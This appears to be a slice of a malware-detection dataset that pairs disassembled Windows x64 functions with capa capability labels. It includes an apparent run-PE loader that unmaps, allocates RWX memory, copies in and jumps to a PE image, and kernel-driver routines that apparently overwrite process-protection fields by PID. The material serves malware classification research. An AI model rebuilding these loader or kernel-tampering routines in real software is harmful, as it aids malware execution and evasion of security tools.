joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Terminate process

Disassembly:
push rbp
push rsi
push rdi
push r12
sub rsp, 0x28
xor esi, esi
mov r12, rdx
mov rbp, rcx
mov edi, esi
mov r8d, esi
test rdx, rdx
jle 0x1400015de
nop dword [rax]
movsx r9d, byte [r8 + rcx]
mov eax, 0xaaaaaaab
mul edi
imul r9d, r8d
inc r8
shr edx, 1
lea edi, [rdx + r9]
cmp r8, r12
jl 0x1400015c0
lea rcx, str._____1_GET_NT_Header_n
mov qword [rsp + 0x60], r14
call fcn.140001010
test rbp, rbp
je 0x140001795
mov eax, 0x5a4d
cmp word [rbp], ax
jne 0x140001795
movsxd rax, dword [rbp + 0x3c]
cmp eax, 0x400
jg 0x140001795
cmp dword [rax + rbp], 0x4550
lea r14, [rax + rbp]
jne 0x140001795
mov qword [rsp + 0x50], rbx
lea rcx, str._____2_GET_API_NtUnmapViewOfSection_from_ntdll.dll_n
mov rbx, qword [r14 + 0x30]
mov qword [rsp + 0x58], r13
lea r13, [rbp + 0xb0]
add r13, rax
mov qword [rsp + 0x20], r15
cmp dword [r13], esi
cmove r13, rsi
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [r14 + 0x30]
mov rcx, 0xffffffffffffffff
call rax
lea rcx, str._____3_VirtualAlloc_Memory_n
call fcn.140001010
mov edx, dword [r14 + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x1400016db
test r13, r13
je 0x1400016d2
mov edx, dword [r14 + 0x50]
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x1400016db
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str._____4_FILL_the_memory_block_with_PEdata_n
call fcn.140001010
mov r8d, dword [r14 + 0x54]
mov rdx, rbp
mov rcx, r15
mov qword [r14 + 0x30], r15
call sub.VCRUNTIME140.dll_memcpy
cmp si, word [r14 + 6]
jae 0x140001733
lea rbx, [r14 + 0x11c]
nop dword [rax + rax]
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
add rdx, rbp
mov r8d, dword [rbx - 4]
add rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [r14 + 6]
lea rbx, [rbx + 0x28]
inc esi
cmp esi, eax
jl 0x140001710
mov rdx, r15
lea rcx, str._____5_Fix_the_PE_Import_addr_table__pImageBase:_p__n
call fcn.140001010
mov rcx, r15
call fcn.1400010d0
lea rcx, str._____6_Seek_the_AddressOfEntryPoint_n
call fcn.140001010
mov ebx, dword [r14 + 0x28]
lea rcx, str._____7_Rush_the_PE_in_Memory__size__ld__addr__p__chksum__ud__n
add rbx, r15
mov r9d, edi
mov r8, rbx
mov rdx, r12
call fcn.140001010
mov rax, rbx
mov r13, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x60]
add rsp, 0x28
pop r12
pop rdi
pop rsi
pop rbp
jmp rax
lea rcx, str._error__Invaild_PE._n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001350
Capabilities:
Create device object

Disassembly:
push rbx
sub rsp, 0x60
and qword [rsp + 0x78], 0
lea rdx, [0x140001b90]
mov rbx, rcx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [0x140001bc0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rsp + 0x78]
mov r9d, 0x22
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
mov byte [rsp + 0x28], 0
xor edx, edx
and dword [rsp + 0x20], 0
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
js 0x1400013e4
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov ebx, eax
test eax, eax
jns 0x1400013d6
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, ebx
jmp 0x1400013e4
mov rax, qword [rsp + 0x78]
mov qword [0x140003080], rax
xor eax, eax
add rsp, 0x60
pop rbx
ret

Function at 0x140001648
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001677
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001692
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x72
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001698
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400016c7
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400016e2
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x62
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x1400016e8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001717
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001732
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x52
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001738
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001767
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001782
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x42
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret
Function at 0x140001788
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400017b7
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400017d2
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x32
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x1400017d8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001807
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001822
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x22
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001828
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001857
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001872
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x12
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001878
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400018a7
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400018bf
mov rax, qword [rsp + 0x38]
and qword [rax + 0x87a], 0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x1400018c8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400018f7
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001912
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x71
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001918
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001947
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001962
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x61
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret
Function at 0x140001968
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001997
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400019b2
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x51
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x1400019b8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x1400019e7
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001a02
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x41
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001a08
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001a37
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001a52
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x31
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001a58
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001a87
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001aa2
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x21
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret

Function at 0x140001aa8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov ebx, ecx
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001ad7
mov edx, ebx
lea rcx, [0x140001bf0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001af2
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x87a], 0x11
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
pop rbx
ret
Function at 0x140019000
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140018e93
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140018e93
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140018e93
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140018e93
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140018e93
cmp dword [rcx + 0x84], 0xe
jbe 0x140018e93
cmp dword [rcx + 0xf8], 0
je 0x140018e93
mov ecx, ebx
call fcn.140018f34
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140018d24
cmp dword [rbp + 0x20], 0
je 0x140018ee0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140018ee8
int3
xor r8d, r8d
xor edx, edx
jmp 0x140018e2c
Function at 0x1400010e0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm7
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, str.Choose_the_language.__0:_Japanese__1:_English_n
call fcn.140001020
lea rdx, [rsp + 0x20]
lea rcx, [0x1400032a0]
call fcn.140001080
movsd xmm7, qword [0x140003540]
lea r14, str.Choose_a_correct_input_n
lea rbp, str._nWhich_do_you_want_to_do_n1:_Return_to_the_selection_of_x_and_algorithms_n0:_Finish_n
lea rsi, str.Input_a_correct_number_n
nop dword [rax]
lea rcx, str._____________________________________________n
call fcn.140001020
cmp dword [rsp + 0x20], 0
jne 0x14000117a
lea rbx, [0x140003310]
lea rdi, [0x1400032f0]
lea rcx, str.1...x
jmp 0x14000118f
lea rbx, str._nWhich_algorithm_do_you_want_to_use__n
lea rdi, str.Please_input_the_value_of
lea rcx, str.Computing_1...x__n_n
call fcn.140001020
mov rcx, rdi
call fcn.140001020
lea rdx, [rsp + 0x24]
lea rcx, [0x1400032a0]
call fcn.140001080
mov rcx, rbx
call fcn.140001020
lea rcx, str.___1._SF_n
call fcn.140001020
lea rcx, str.___2._SM_n
call fcn.140001020
lea rdx, [rsp + 0x28]
lea rcx, [0x1400032a0]
call fcn.140001080
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov edx, dword [rsp + 0x28]
mov ebx, eax
sub edx, 1
je 0x140001219
cmp edx, 1
je 0x14000120e
cmp dword [rsp + 0x20], 0
lea rcx, [0x1400033c0]
cmovne rcx, r14
call fcn.140001020
jmp 0x140001150
mov ecx, dword [rsp + 0x24]
call fcn.140001340
jmp 0x140001222
mov ecx, dword [rsp + 0x24]
call fcn.1400012e0
mov edi, eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
sub eax, ebx
cmp dword [rsp + 0x20], 0
movd xmm6, eax
cvtdq2pd xmm6, xmm6
divsd xmm6, xmm7
jne 0x14000124f
lea rbx, str._n_f
lea rcx, [0x1400033f8]
jmp 0x14000125d
lea rbx, str._n_f_seconds_are_spent_n
lea rcx, str._nThe_answer_is__d_n
mov edx, edi
call fcn.140001020
movaps xmm1, xmm6
movq rdx, xmm6
mov rcx, rbx
call fcn.140001020
lea rcx, str._____________________________________________n
call fcn.140001020
cmp dword [rsp + 0x20], 0
lea rcx, [0x140003460]
cmovne rcx, rbp
call fcn.140001020
lea rdx, [rsp + 0x2c]
lea rcx, [0x1400032a0]
call fcn.140001080
mov ecx, dword [rsp + 0x2c]
test ecx, ecx
je 0x1400012c9
cmp ecx, 1
je 0x140001150
cmp dword [rsp + 0x20], 0
lea rcx, [0x140003508]
cmovne rcx, rsi
jmp 0x14000127b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140001c4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c96
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c98
xor al, al
add rsp, 0x28
ret
Function at 0x140001487
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400e0260]
mov dword [rax], 1
mov rax, qword [0x1400e0270]
mov dword [rax], 1
mov rax, qword [0x1400e0280]
mov dword [rax], 1
mov rax, qword [0x1400e01e0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140038f90
Capabilities:
Query environment variable

Disassembly:
push r13
mov eax, 0x10078
push r12
call fcn.1400c1050
sub rsp, rax
xor eax, eax
mov r8d, 0x28
mov rdx, rcx
lea r12, [rsp + 0x20]
xor ecx, ecx
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], cx
lea r13, [rsp + 0x70]
mov rcx, r12
call fcn.14005d180
mov rdx, r13
mov r8d, 0x10000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140038ff1
mov rcx, r13
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop r12
pop r13
ret

Function at 0x140039000
Capabilities:
Set environment variable

Disassembly:
push r13
push r12
sub rsp, 0x78
xor eax, eax
mov r8d, 0x28
lea r13, [rsp + 0x20]
mov r12, rdx
mov rdx, rcx
mov word [rsp + 0x20], ax
mov rcx, r13
call fcn.14005d180
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x78
pop r12
pop r13
ret
Function at 0x1400390d0
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbx
sub rsp, 0x70
mov rbx, rdx
mov r14, r8
mov r15, rcx
call fcn.140057460
lea rdx, str.environ
mov rcx, rax
call qword [sym.imp.python39.dll_PyObject_GetAttrString]
mov rcx, rbx
mov r12, rax
call qword [sym.imp.python39.dll_PyUnicode_FromString]
mov r13, rax
test r14, r14
je 0x14003918a
mov rdx, r14
mov rcx, rbx
call fcn.140039000
mov rcx, r14
mov rdx, 0xffffffffffffffff
call sub.python39.dll_PyUnicode_FromWideChar
mov rdx, r13
mov rcx, r12
mov r14, rax
mov r8, rax
call qword [sym.imp.python39.dll_PyObject_SetItem]
test eax, eax
jne 0x1400391cc
sub qword [r14], 1
jne 0x140039151
mov rcx, r14
call fcn.140039040
sub qword [r13], 1
jne 0x140039160
mov rcx, r13
call fcn.140039040
sub qword [r12], 1
jne 0x14003917c
mov rcx, r12
add rsp, 0x70
pop rbx
pop r12
pop r13
pop r14
pop r15
jmp fcn.140039040
add rsp, 0x70
pop rbx
pop r12
pop r13
pop r14
pop r15
ret
lea r14, [rsp + 0x20]
mov r8d, 0x28
mov rdx, rbx
mov word [rsp + 0x20], 0
mov rcx, r14
call fcn.14005d180
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.python39.dll_PyObject_DelItem]
test eax, eax
je 0x140039151
mov rcx, r15
call fcn.140039050
jmp 0x140039151
mov ecx, 1
call qword [sym.imp.python39.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python39.dll_Py_Exit]
nop
nop word cs:[rax + rax]
nop
Function at 0x1400b5fe0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with crc32

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400f1309], 0
mov r12, rcx
mov r13, rdx
mov rdi, r8
je 0x1400b6068
lea rdx, [0x1400de712]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400b6180
mov rsi, qword [0x1400f11c8]
jmp 0x1400b6025
lea rsi, [rdx + rax + 4]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rsi
mov ebx, eax
call sub.msvcrt.dll_strlen
lea rdx, [rsi + rax + 1]
mov eax, dword [rdx]
test ebx, ebx
jne 0x1400b6020
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, r12
mov rdx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp fcn.1400a3bb0
mov r8d, 0xa
mov edx, 3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1400f11c8], rax
mov rdx, rax
mov r9d, dword [rax]
lea rax, [rax + 4]
mov qword [0x1400f11c8], rax
mov eax, dword [rdx + 4]
lea rcx, [rdx + 8]
mov qword [0x1400f11c8], rcx
test eax, eax
je 0x1400b6168
sub eax, 1
lea r8, [rdx + rax + 9]
mov eax, 0xffffffff
nop word [rax + rax]
movzx edx, byte [rcx]
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
shr eax, 1
and edx, 1
add rcx, 1
neg edx
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor eax, edx
cmp r8, rcx
jne 0x1400b60d0
not eax
cmp r9d, eax
jne 0x1400b6207
mov byte [0x1400f1309], 1
jmp 0x1400b5ffd
cmp byte [0x1400f1308], 0
jne 0x1400b6014
mov rbx, qword [sym.imp.python39.dll_PyDict_New]
call rbx
mov qword [0x1400f1c48], rax
call rbx
mov qword [0x1400f1c40], rax
call rbx
mov qword [0x1400f1c38], rax
call rbx
mov qword [0x1400f1c30], rax
call rbx
mov qword [0x1400f1c28], rax
call rbx
mov qword [0x1400f1c20], rax
call rbx
mov qword [0x1400f1c18], rax
call rbx
mov byte [0x1400f1308], 1
mov qword [0x1400f1c10], rax
mov rax, qword [sym.imp.python39.dll__PyRuntime]
mov rax, qword [rax + 0x1f0]
mov rax, qword [rax + 0x10]
add rax, 0xdc0
mov qword [0x1400f11c0], rax
jmp 0x1400b6014
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop dword [rax]